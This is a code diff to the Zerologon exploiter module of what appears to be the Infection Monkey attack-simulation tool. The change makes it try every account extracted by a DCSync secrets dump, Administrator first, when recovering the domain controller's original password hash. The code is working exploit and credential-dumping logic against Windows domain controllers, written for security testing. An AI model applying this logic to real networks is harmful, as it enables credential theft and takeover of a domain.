diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2b6c5994d..75faa93c5 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,7 +7,7 @@ import logging import os import re from binascii import unhexlify -from typing import Dict, List, Optional +from typing import Dict, List, Optional, Tuple import impacket import nmb.NetBIOS @@ -206,17 +206,25 @@ class ZerologonExploiter(HostExploiter): try: rpc_con = None - # DCSync to get some username and its password's hashes. - LOG.debug("DCSync; getting some username and its password's hashes.") - user_details = self.get_user_details() - if not user_details: - raise Exception("Couldn't extract username and/or its password's hashes.") + # DCSync to get usernames and their passwords' hashes. + LOG.debug("DCSync; getting usernames and their passwords' hashes.") + user_creds = self.get_all_user_creds() + if not user_creds: + raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - username = user_details[0] - user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] - original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + original_pwd_nthash = None + for user_details in user_creds: + username = user_details[0] + user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + try: + original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + if original_pwd_nthash: + break + except Exception as e: + LOG.info(f"Credentials \"{user_details}\" didn't work. Exception: {str(e)}") + if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -243,7 +251,7 @@ class ZerologonExploiter(HostExploiter): if rpc_con: rpc_con.disconnect() - def get_user_details(self) -> (str, Dict): + def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -257,13 +265,15 @@ class ZerologonExploiter(HostExploiter): self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + creds_to_use_for_getting_original_pwd_hashes = [] admin = 'Administrator' - if admin in self._extracted_creds: - return admin, self._extracted_creds[admin] - else: - for user in self._extracted_creds.keys(): - if self._extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts - return user, self._extracted_creds[user] + for user in self._extracted_creds.keys(): + if user == admin: # most likely to work so try this first + creds_to_use_for_getting_original_pwd_hashes.insert(0, (user, self._extracted_creds[user])) + else: + creds_to_use_for_getting_original_pwd_hashes.append((user, self._extracted_creds[user])) + + return creds_to_use_for_getting_original_pwd_hashes except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}")